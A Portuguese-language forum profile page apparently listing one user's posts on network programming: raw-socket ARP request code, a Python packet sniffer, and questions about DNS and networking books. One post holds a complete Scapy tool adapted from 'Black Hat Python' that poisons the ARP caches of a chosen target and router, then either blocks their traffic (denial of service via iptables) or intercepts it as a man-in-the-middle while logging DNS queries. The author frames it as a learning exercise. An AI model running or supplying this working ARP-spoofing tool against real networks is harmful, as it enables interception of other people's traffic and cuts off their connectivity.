Ir para conteúdo
  • Cadastre-se

gnoo

Membros
  • Total de itens

    65
  • Registro em

  • Última visita

Reputação

25 Excellent

Últimos Visitantes

O bloco dos últimos visitantes está desativado e não está sendo visualizado por outros usuários.

  1. Saudações, após vários momentos de sangue, suor e lágrimas , e um pouquinho de Stack Overflow finalmente resolvi o meu problema... No código acima o que não estava a funcionar era o formato em que o meu mac_local e o mac_dest não estavam a ser bem empacotados, dai o resultado apresentado pelo pelo wireshark ser completamente diferente do meu MAC real. Isso acontecia porque estava a empacotar um endereço mac com 6 bytes quando na realidade o tamanho da string era 17 bytes (salvo erro), então só apanhava esses 6 bytes logo o mac não era empacotado na totalidade, e como o mac não estava correto ele não fazia o broadcast para a rede, sem broadcast não há resposta. Para resolver isso tive que passar os endereço mac para byte order. Como fazer isso? O código pouco ou até mesmo nada mudou mas deixo o resultado final... Para ver o comportamento dos pacotes enviados deve ser feito através do wireshark ou outra ferramenta que cumpra a mesma função, com filtro "arp". #!/usr/bin/env python3 import struct import socket raw = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806)) raw.bind(("wlp3s0", socket.htons(0x0806))) mac_local = b'\xff\xff\xff\xff\xff\xff' # mac de quem envia request ip_local = "192.168.1.7" # ip de quem envia request mac_dest = b'\xff\xff\xff\xff\xff\xff' # Endereço broadcast para que seja enviado um reply ip_dest = "192.168.1.2" # ip de quem recebe request # Ethernet Header protocolo = 0x0806 # 0x0806 protocol to ARP ethernet_header = struct.pack("!6s6sH", mac_dest, mac_local, protocolo) # ARP header tipo_hardware = 1 tipo_protocolo = 0x0800 # IPV4 tamanho_endereco_hardware = 6 # Refere ao tamanho do endereço do MAC que é 48 bits == 6 bytes tamanho_endereco_protocolo = 4 # Refere ao tamanho do endereço do ipv4 que é 32 bits == 4 bytes operacao = 1 # 1 = request / 2 = Reply envia_ip = socket.inet_aton(ip_local) destino_ip = socket.inet_aton(ip_dest) arp_addr = struct.pack("!HHBBH6s4s6s4s",tipo_hardware, tipo_protocolo, tamanho_endereco_hardware, tamanho_endereco_protocolo, operacao, mac_local, envia_ip, mac_dest, destino_ip) pacote = ethernet_header + arp_addr # Ciclo de repetição while é opcional cont = 0 while cont < 6: raw.send(pacote) cont +=1
  2. Qualquer coisa que não está bem com o meu MAC e o MAC do destinatário, provavelmente não está a ser devidamente empacotado e eu não percebo porquê, apesar de eu estar a passar o meu mac correto o wireshark, o MAC do destinatário que vai no pacote deveria ser ff:ff:ff:ff:ff:ff:ff e não 30:30:3a:30:30:3a.
  3. Saudações, tenho andado aqui a tentar fazer um código que que faz requisições ARP e espera por um reply do host para onde foi enviado o pacote mas, nunca vem esse reply... #!/usr/bin/env python3 import struct import socket raw = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806)) raw.bind(("wlp3s0", socket.htons(0x0806))) mac_local = "ff:ff:ff:ff:ff:ff" # mac de quem envia request ip_local = "192.168.1.7" # ip de quem envia request mac_dest = "ff:ff:ff:ff:ff:ff" # mac de quem recebe request ip_dest = "192.168.1.6" # ip de quem recebe request # Ethernet Header protocolo = 0x0806 # 0x0806 protocolo para ARP ethernet_header = struct.pack("!6s6sH", mac_dest.encode(), mac_local.encode(), protocolo) # ARP header tipo_hardware = 1 tipo_protocolo = 0x0800 # IPV4 tamanho_endereco_hardware = 6 # Refere ao tamanho do endereço do MAC que é 48 bits == 6 bytes tamanho_endereço_protocolo = 4 # Refere ao tamanho do endereço do ipv4 que é 32 bits == 4 bytes operacao = 1 # 1 = request / 2 = Reply envia_ip = socket.inet_aton(ip_local) destino_ip = socket.inet_aton(ip_dest) arp_addr = struct.pack("!HHBBH6s4s6s4s",tipo_hardware, tipo_protocolo, tamanho_endereco_hardware, tamanho_endereço_protocolo, operacao, mac_local.encode(), envia_ip, mac_dest.encode(), destino_ip) pacote = ethernet_header + arp_addr cont = 0 while cont < 6: raw.send(pacote) cont +=1 Resultado do wireshark
  4. gnoo

    Dúvida requisição HTTP

    Pois foi o que eu também tinha em mente mas tinha lido isso, num blog qualquer uns tempos atrás e agora estava a pensar numa outra coisa que envolve esse tipo de iteração, era só para esgotar todas as hipóteses. Obrigado @Fernando Mercês
  5. gnoo

    Dúvida requisição HTTP

    Saudação, quando faço uma requisição no browser www.qqcoisa.com esse pacote vai ao ISP DNS Servidor. Mas se em vez de www.qqcoisa.com enviar apenas o IP 200.15.20.130... Ele também passa no ISP ou vai direto ao servidor?
  6. gnoo

    DoS, MITM com sniff DNS, com Scapy

    Saudações, recentemente andava ver um código do livro Black hat python programming for hackers and pentesters, e encontrei lá um capítulo onde falava de ARP Spoofing, e comecei a ler o código, o seu conteúdo explica a fazer a alteração da cache ARP reestruturar a rede e a armazenar os resultado dos pacotes em .pcap... mas houve uma falha naquela explicação, ele fala sobre alterar o valor do módulo ip_forward para 1, mas não fala sobre as regras do iptables, vamos imaginar que quem segue aquele conteúdo não sabe que o Chain FORWARD policy tem que estar como ACCEPT, e está definido como DROP, na prática o que ele vai estar a fazer é um negação de serviço, em vez de deixar passar o tráfego, foi uma falha naquele capitulo... Eu agarrei o código dele, nas funções principais, retirei a parte em que cria o ficheiro .pcap, acrescentei funções minhas e automatizei algumas tarefas. A minha versão tem: alteração da cache ARP reestruturação da rede Obter MAC dos Hosts e Router Ataque DoS em que é definida a regra Chain FORWARD policy para DROP MITM em que é definida a regra Chain FORWARD policy para ACCEPT Scan ARP para procurar hosts na rede em varias fases do programa, na saida de dados dá IP MAC e Hostname dos mesmos Numa fase inicial tentar encontrar um ou mais routers na rede. ( sem certeza que encontra mais que um porque não tinha outro router nem Switcher para experimentar, pelo menos um encontra de certeza ). Detecta todas as placas de rede na máquina, com valores de pacotes enviados e recebidos em cada uma das placas de rede Dessas placas de rede recebemos dados como IP Broadcast netmask etc.. E mais algumas coisas que não me lembro Vê requisições DNS durante o MITM E mais algumas coisas que não me lembro. Vou dar continuidade a este código para juntar outras funcionalidades, assim permite-me estudar outras coisas. O interessante de fazer um programa destes, não é porque a ferramenta em si seja extraordinária, mas sim o exercício e o que ele te permite aprender, especialmente no que toca a redes e algumas bibliotecas interessantes do python que nos facilitam bastante a vida. Como é óbvio criticas são SEMPRE bem vindas ! Segue o código: #!/usr/bin/env python3 import sys import os import time import socket import re try: from scapy.all import * except: print("O módulo scapy não está instalado") try: import psutil except: print("O módulo psutil não está instalado !") try: import netifaces except: print("O módulo netifaces não está instalado !") def restaura_target(router_ip, router_mac, target_ip, target_mac): print("A restaurar target...") send(ARP(op = 2, psrc = router_ip, pdst = target_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = router_mac), count = 5) send(ARP(op = 2, psrc = target_ip, pdst = router_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = target_mac), count = 5) def get_mac(endereco_ip): try: resposta, nao_resposta = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = endereco_ip), timeout = 2, retry = 10) # Retorna o endereço MAC de uma resposta for s, r in resposta: return r[Ether].src return None except: pass def Altera_Cache_Arp_MITM(router_ip, router_mac, target_ip, target_mac): arp_target = ARP() arp_target.op = 2 arp_target.psrc = router_ip arp_target.pdst = target_ip arp_target.hwdst = target_mac arp_router = ARP() arp_router.op = 2 arp_router.psrc = target_ip arp_router.pdst = router_ip arp_router.hwdst = router_mac print("A iniciar alteração CACHE ARP -> [ CTRL + C -> STOP]") while True: try: send(arp_target) send(arp_router) sniff(iface = interface, filter = "port 53", prn = dns_sniff, store = 0) except KeyboardInterrupt: restaura_target(router_ip, router_mac, target_ip, target_mac) print("Ataque ARP terminado.") with open("/proc/sys/net/ipv4/ip_forward", "w", encoding = "utf-8" ) as ip_forward: ip_forward.write("0") time.sleep(2) print("A reiniciar...\n ") os.execl(sys.executable, sys.executable, *sys.argv) def Altera_Cache_Arp_DOS(router_ip, router_mac, target_ip, target_mac): arp_target = ARP() arp_target.op = 2 arp_target.psrc = router_ip arp_target.pdst = target_ip arp_target.hwdst = target_mac arp_router = ARP() arp_router.op = 2 arp_router.psrc = target_ip arp_router.pdst = router_ip arp_router.hwdst = router_mac print("A iniciar alteração CACHE ARP -> [ CTRL + C -> STOP]") while True: try: send(arp_target) send(arp_router) except KeyboardInterrupt: restaura_target(router_ip, router_mac, target_ip, target_mac) print("Ataque ARP terminado.") with open("/proc/sys/net/ipv4/ip_forward", "w", encoding = "utf-8" ) as ip_forward: ip_forward.write("0") time.sleep(2) print("A reiniciar...\n ") os.execl(sys.executable, sys.executable, *sys.argv) def input_dados_Dos(): lista_resposta_sim = ["s","sim","SIM"] lista_resposta_nao = ["n", "não","nao", "NAO", "NÃO"] while True: resp_scan = input("Queres localizar Hosts na rede ? [s/n] ") if not resp_scan: print("Não foi obtida qualquer resposta.. Responde [s/n] ") elif resp_scan in lista_resposta_sim: scan_arp_hosts(ip_tupla) break elif resp_scan in lista_resposta_nao: break else: print("{} não é uma resposta válida !".format(resp_scan)) target_ip = input("Inserir DoS TARGET -> ") target_mac = get_mac(target_ip) if target_mac is None: print("Falhou resolver MAC em {}".format(target_ip)) sys.exit(0) else: print("Target {} em {}".format(target_ip, target_mac)) Altera_Cache_Arp_DOS(router_ip, router_mac, target_ip, target_mac) def input_dados_MITM(): lista_resposta_sim = ["s","sim","SIM"] lista_resposta_nao = ["n", "não","nao", "NAO", "NÃO"] while True: resp_scan = input("Queres localizar Hosts na rede ? [s/n] ") if not resp_scan: print("Não foi obtida qualquer resposta.. Responde [s/n] ") elif resp_scan in lista_resposta_sim: scan_arp_hosts(ip_tupla) break elif resp_scan in lista_resposta_nao: break else: print("{} não é uma resposta válida !".format(resp_scan)) target_ip = input("Inserir MITM TARGET -> ") target_mac = get_mac(target_ip) if target_mac is None: print("Falhou resolver MAC em {}".format(target_ip)) sys.exit(0) else: print("Target {} em {}".format(target_ip, target_mac)) Altera_Cache_Arp_MITM(router_ip, router_mac, target_ip, target_mac) def scan_arp_hosts(ip_tupla): print("A procurar hosts na rede ARP Scanner... Aguardar...") print("Em espera, ARP Reply...") resp, sem_resp = srp(Ether(dst= "ff:ff:ff:ff:ff:ff")/ARP(pdst = "{0[0]}".format(ip_tupla) + "/24"), timeout = 2, iface = "{0[1]}".format(ip_tupla), inter =0.1) print("Atividade na rede:") for snd, rcv in resp: hostname_na_rede = socket.getfqdn(rcv.sprintf(r"%ARP.psrc%")) print(rcv.sprintf(r"Host: %ARP.psrc% - MAC: %Ether.src% - ") + hostname_na_rede) return hostname_na_rede, rcv.sprintf(r"%ARP.psrc%") def devolve_ip_router(ip_tupla): ip_router_lista = [] for itens in ip_tupla: if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",str(itens)): ip_router_lista.append(itens) for ip in ip_router_lista: router_hostname = socket.getfqdn(ip) print("ROUTER detetado - {} - {}".format(ip, router_hostname)) def devolve_host_local(ip_tupla): dados = netifaces.ifaddresses("{0[1]}".format(ip_tupla)) dicionario_dados = dados[netifaces.AF_INET][0] return socket.gethostname(), dicionario_dados["addr"] def informacao_geral(): identifica_ip_router = netifaces.gateways() ip_tupla = identifica_ip_router[netifaces.AF_INET][0] devolve_ip_router(ip_tupla) print("NIC detetado :") interfaces_e_info = psutil.net_io_counters(pernic = True) lista_interface = [] for dados in interfaces_e_info: if dados.startswith("l") and dados.endswith("o") or dados.startswith("l") and dados.endswith("0"): pass else: lista_interface.append(dados) for info_nic in lista_interface: print("{}: pkt env = {} / pkt recv = {}".format(info_nic, interfaces_e_info[info_nic][2], interfaces_e_info[info_nic][3])) print("NIC em uso -> {0[1]}".format(ip_tupla)) scan_arp_hosts(ip_tupla) def dns_sniff(pacote): if IP in pacote: ip_source = pacote[IP].src ip_destino = pacote[IP].dst if pacote.haslayer(DNS) and pacote.getlayer(DNS).qr == 0: if ip_source == ip_host_local: pass else: return "TARGET: {} - ROUTER: {} - DNS: {}".format(ip_source, ip_destino, pacote.getlayer(DNS).qd.qname.decode()) def main(): if os.geteuid() != 0: print("O programa deve ser executado como root !") sys.exit(0) with open("/proc/sys/net/ipv4/ip_forward", "w", encoding = "utf-8" ) as ip_forward: # Altera valor módulo ip_forward para 1 ip_forward.write("1") interfaces_e_info = psutil.net_io_counters(pernic = True) # Recebe info todas NIC's detectadas """ bytes_sent, bytes_recv, packets_sent, packets_recv, errin, errout, dropin, dropout """ identifica_ip_router = netifaces.gateways() # Retorna um dicionário com IP do router e interface NIC rede atual global ip_tupla ip_tupla = identifica_ip_router[netifaces.AF_INET][0]# retorna uma tupla com o ip do router e a interface da placa de rede atual em uso ip_router_lista = [] # Recebe IP router detectado na tupla for itens in ip_tupla: if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",str(itens)): # Procura arquitetura ip na tupla ip_router_lista.append(itens) """ O ciclo for anterior com a linha 'if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",str(itens)):', foi pensado no caso de haver mais do que um router ignorando a interface NIC. """ global ip_host_local hostname, ip_host_local = devolve_host_local(ip_tupla) # Detecta o IP classe C da máquina local o seu hostname print("\nNIC detetado :") lista_interface = [] for dados in interfaces_e_info: if dados.startswith("l") and dados.endswith("o") or dados.startswith("l") and dados.endswith("0"): #Ignora interface loopback """ Podemos admitir que com nomes de interfaces que iniciam e terminam com caracteres diferentes não ignora a interface loopback """ pass else: lista_interface.append(dados) for info_nic in lista_interface: print("{}: pkt env = {} / pkt recv = {}".format(info_nic, interfaces_e_info[info_nic][2], interfaces_e_info[info_nic][3])) #Retrona atividade pacotes no NIC """ O objetivo de obter pacotes recebidos e enviados, é perceber qual a interface que tem actividade e que vamos analisar o tráfego que lá passa """ print("NIC em uso -> {0[1]} em {1} - {2}".format(ip_tupla, ip_host_local, hostname)) # identifica NIC em uso, IP host local e o seu hostname mais_info_nic = psutil.net_if_addrs() # Escolhemos a interface que vamos fazer passar o tráfego para observação, em simultâneo detecta a existência da interface no sistema # na lista_interface try: while True: global interface interface = input("NIC para escuta -> ") if not interface: print("NIC não foi selecionado !") elif interface not in lista_interface: print("{} não está disponivel !".format(interface)) else: print("[*] A preparar a interface {}".format(interface)) # Define a nossa interface conf.iface = interface # Mais info sobre NIC escolhido lista_mais_info_nic_INET = list(mais_info_nic[interface][0]) # info IPV4 lista_mais_info_nic_INET6 = list(mais_info_nic[interface][1]) # info IPV6 lista_mais_info_nic_LINK = list(mais_info_nic[interface][2]) # info Ethernet print("NIC: {} info :".format(interface)) print("inet: {} netmask: {} broadcast: {} ".format(lista_mais_info_nic_INET[1], lista_mais_info_nic_INET[2], lista_mais_info_nic_INET[3])) print("inet6: {} netmask: {} broadcast: {}".format(lista_mais_info_nic_INET6[1], lista_mais_info_nic_INET6[2], lista_mais_info_nic_INET6[3])) print("link: {} netmask: {} broadcast: {}\n".format(lista_mais_info_nic_LINK[1], lista_mais_info_nic_LINK[2], lista_mais_info_nic_LINK[3])) break except KeyboardInterrupt: print("\nOperação terminada !") sys.exit(0) conf.verb = 0 # Desabilita verbose de string originado pelo scapy global router_mac global router_ip time.sleep(1) # Detecta router na lista ip_router_lista print("-> ROUTER detetado :") for r_ip in ip_router_lista: print(r_ip + " - {}".format(socket.getfqdn(r_ip))) # retorna IP e hostname router # Escolhemos o router detectado, em simultâneo detecta a existência do router na lista ip_router_lista """ Esta tarefa pode ser automatizada, é valida se estivermos a pensar em detectar mais que um router, e escolher um para conexão """ while True: try: router_ip = input("IP router -> ") if not router_ip: print("Router não selecionado !") elif router_ip not in ip_router_lista: print("ROUTER {} não está disponivel !".format(router_ip)) print("-> detetado ROUTER :") for r_ip in ip_router_lista: print(r_ip) else: break except KeyboardInterrupt: print("\nOperação terminada !") sys.exit(0) router_mac = get_mac(router_ip) # Retorna MAC router contador = 0 # Faz vária tentativas para resolver MAC router while contador < 4: try: if router_mac is None: print("Falhou a resolver MAC ROUTER em {} Tentar novamente... ".format(router_ip)) router_mac = get_mac(router_ip) if contador == 3: print("Ultima tentativa a resolver MAC ROUTER em {} ! Preparar para sair...".format(router_ip)) router_mac = get_mac(router_ip) print("Não conseguiu resolveu MAC ROUTER em {} ".format(router_ip)) sys.exit(0) else: print("Resultado:") print("ROUTER: {} MAC: {} - {}\n".format(router_ip, router_mac, socket.getfqdn(router_ip))) break contador += 1 except KeyboardInterrupt: print("Operação terminada pelo usuário... A sair") sys.exit(0) print("A iniciar (cmd)...") time.sleep(1) print("Utilização cmd... sabe mais com -> Help / -h\n") while True: try: comando = input("(cmd)>>> ") if comando == "Dos": os.system("iptables -P FORWARD DROP") # Define regra iptables Chain FORWARD policy DROP, deixa "cair" pacotes input_dados_Dos() elif comando == "MITM": os.system("iptables -P FORWARD ACCEPT") # Define regra iptables Chain FORWARD policy ACCEPT, deixa passar tráfego no NIC input_dados_MITM() elif comando == "restart": os.execl(sys.executable, sys.executable, *sys.argv) # Reinicia programa elif comando == "exit": sys.exit(0) elif comando == "info": informacao_geral() # Dá info sobre NIC detectados, ROUTER detectados, e hosts ativos na rede com scan ARP elif comando == "help" or comando == "-h": print("Comandos disponiveis:") print("-> Dos (Denial of Service)") print("-> MITM (Man in The Middle)") print("-> info (Informação Geral)") print("-> help / -h (Informação sobre cmd)") print("-> restart") print("-> exit") else: print("Comando \033[1;33m{}\033[00m não está disponivel, mais info: 'help' / '-h' ".format(comando)) except KeyboardInterrupt: print("\nOperação terminada !") sys.exit(0) if __name__ == '__main__': main() Obrigado
  7. gnoo

    Sites de vagas em TI (e segurança)

    O meu sentimento é que ainda tenho que estudar muito para me candidatar a uma vaga dessas :P
  8. gnoo

    Gerador de paginas estáticas

    @HiroMarikame Já tinhas visto isto? https://www.fullstackpython.com/static-site-generator.html Deve ser interessante para o que tu queres.
  9. gnoo

    Gerador de paginas estáticas

    Oi @HiroMarikame tudo bem, a primeira observação a fazer é que devias actualizar a sintaxe do javascript. Não percebi muito bem qual a intenção desse projeto mas se é para programação web com python o caminho talvez não seja esse... quanto à colaboração do projeto da minha parte não é positiva so porque está alojado no github. Mas dá para perceber que dedicaste tempo e esforço nesse trabalho isso já ninguém te tira parabéns.
  10. gnoo

    Aprender redes de computadores: Livros

    olá @HiroMarikame tudo bem, tens várias opções, mas um dos livros mais completos que conheço e também mais recomendado, é do autor Andrew S. Tanenbaum "computer networks" ele vai na 5ª edição no link que segue tem o livro traduzido para português https://www.passeidireto.com/arquivo/28676947/redes-de-computadores---tanenbaum---5-edicao Eu acho que não dá para fazer download... mas se tu fizeres printscreen de cada folha do livro dá para passar para pdf depois.... a má noticia no meio disso tudo é que são 600 páginas para fazer printscreen ( mas é uma opção valida à que ter fé) ... também há a quarta edição em português e inglês em pdf é so procurar no google se não encontrares deixa-me um email que eu envio em pdf. Abraço
  11. gnoo

    sniffer

    Olá @fredericopissarra tudo bem? Eu acho que o problema tem a ver com o modo como eu estou "escutando" os pacotes a passar na rede, andei a ver a documentação do wireshark que pode ser vista aqui: A minha placa de rede não suporta ( monitor mode ), tenho que comprar uma que tenha esse suporte, depois volto a dar novidades para atualizar o post, até lá... Abraço.
  12. gnoo

    sniffer

    A função recvfrom() como a documentação oficial diz ela recebe dois tipos de valor , (bytes, address) onde bytes é um byte object dos dados recebidos, e address é o endereço do socket enviando dados, tal como a documentação sobre a função recvfrom() diz o formato do valor address depende do tipo de socket que é definido se for da forma que o código acima representa sock = socket(AF_PACKET, SOCK_RAW, ntohs(3)) Ele "automaticamente" faz um bind na minha interface de rede e fica escutando em todas as portas ( penso eu de que ), o que o address me devolve é uma tupla com a minha interface de rede com mais três valores que eu não sei o que é e o endereço mac em bytes order ('wlp3s0', 23346, 4, 1, b'endereço MAC _ bytes') o segundo valor da tupla deve ser a porta em escuta, o que me leva a pensar isso é que esse valor não corresponde ao protocolo da camada de ethernet, (mas também pode ser outra coisa isto sou eu a pensar sozinho)... o terceiro valor da tupla o 4 penso que pode estar relacionado com a versão IP (ipv4) o quarto valor 1 não sei o que é e o quinto será o meu MAC address. Se o tipo de socket for sock = socket(AF_INET, SOCK_RAW,IPPROTO_TCP) ele devolve um tupla com dois valores ('IP', 0), o IP tem vários resultados desde o site onde é feita a requisição, e outros que depois de fazer umas pesquisar com o whois me diz que é da ARIN/IBM fiz umas requisições http com HEAD e dá para ver que são servidores muitos deles Apache, dá-me ideia que será por onde o pacote passa entre o ponto A e o ponto B. acho que sim eu estive a ver se relacionava esse endereço com multicast, e realmente uma tabela que vi fazia referencia a 224.0.0.1 All systems on this subnet.... e acho que é por ai o caminho a explorar vou ver melhor sobre o assunto pode alguma configuração que não está a ser feita mediante esse resultado. O socket RAW não está a rodar em windows está a rodar em linux uma distribuição baseada em Arch Linux - Manjaro, o sistema windows é de um familiar meu que está noutro ponto da casa, eu acho que não tem a ver com isso diretamente, até porque eu tenho uma outra maquina com Debian e o resultado é igual e o meu smarthphone acontece o mesmo.
  13. gnoo

    sniffer

    Oi @fredericopissarra tudo bem? Tens razão não foi muito inteligente da minha parte, segue um excerto do programa com o código que trabalha esses dados: from socket import * from struct import * import sys import binascii def endereco_mac(mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) def ethernet_frame(dados_pacote): mac_recebe, mac_envia, protocolo = unpack("! 6s 6s H",dados_pacote[:14]) return endereco_mac(mac_recebe), endereco_mac(mac_envia), htons(protocolo), dados_pacote[14:] def IPv4(endereco): return '.'.join(map(str,endereco)) def header_IPv4(dados): versao_header_tamanho = dados[0] versao = versao_header_tamanho >> 4 tamanho_header = (versao_header_tamanho & 15) * 4 ttl, protocolo, fonte, target = unpack('! 8x B B 2x 4s 4s', dados[:20]) return versao, tamanho_header, ttl, protocolo, IPv4(fonte), IPv4(target),dados[tamanho_header:] def main(): sock = socket(AF_PACKET, SOCK_RAW, ntohs(3)) while True: try: dados_pacote, addr = sock.recvfrom(65565) mac_recebe, mac_envia, protocolo_ethernet, dados_pacote = ethernet_frame(dados_pacote) print("Ethernet :") print("\tProtocolo {}".format(protocolo_ethernet)) print("MAC recebe: {} MAC envia: {}".format(mac_recebe, mac_envia)) if protocolo_ethernet == 8: (versao, tamanho_header, ttl, protocolo, fonte, target, dados_pacote) = header_IPv4(dados_pacote) print("\tPacote IPv4:") print("\t\tVersão: {}, Tamanho header: {}, TTL: {}".format(versao, tamanho_header, ttl)) print("\t\t\tProtocolo: {}, Fonte: {}, Destino: {}".format(protocolo, fonte, target)) except KeyboardInterrupt: print("terminado") sys.exit(0) if __name__=='__main__': main() No trafego que sai da minha maquina ele detecta o ip da minha maquina e o ip do site que esta sendo feita a requisição, se for uma maquina diferente que esteja na mesma rede ele detecta o ip da maquina mas o ip do site que e feita a requisição é sempre 255.255.255.255 neste caso maquina a rodar windows ainda tenho outra com linux que devolve tambem o ip 224.0.0.1 salvo erro ... se for trafego a sair do meu smartphone ele detecta o ip do dispositivo mas o site que é feita a requisição mesmo que sites diferente é um ip com 254.0.0.1 se não me engano. Obrigado.
  14. gnoo

    sniffer

    Já percebi que em principio o 255.255.255.255 tem a ver com o Broadcast, só não percebo é porquê que ele vem com esse endereço e não como o servidor que é feita a requisição.
  15. gnoo

    sniffer

    Saudações ando a brincar com um sniffer feito em python, a situação é a seguinte, eu consigo ver o meu tráfego que sai da minha máquina e o seu destino, como por exemplo quando acesso o site: https://www.mentebinaria.com.br o resultado é esse: até ai tudo bem... mas se for um familiar meu que no caso usa Windows numa outra máquina, eu só consigo ver que o tráfego sai da máquina dele e o destino é sempre 255.255.255.255 : alguém sabe o porque disso? estou a fazer isso como a minha interface de rede sem fio em modo promíscuo. Obrigado.
×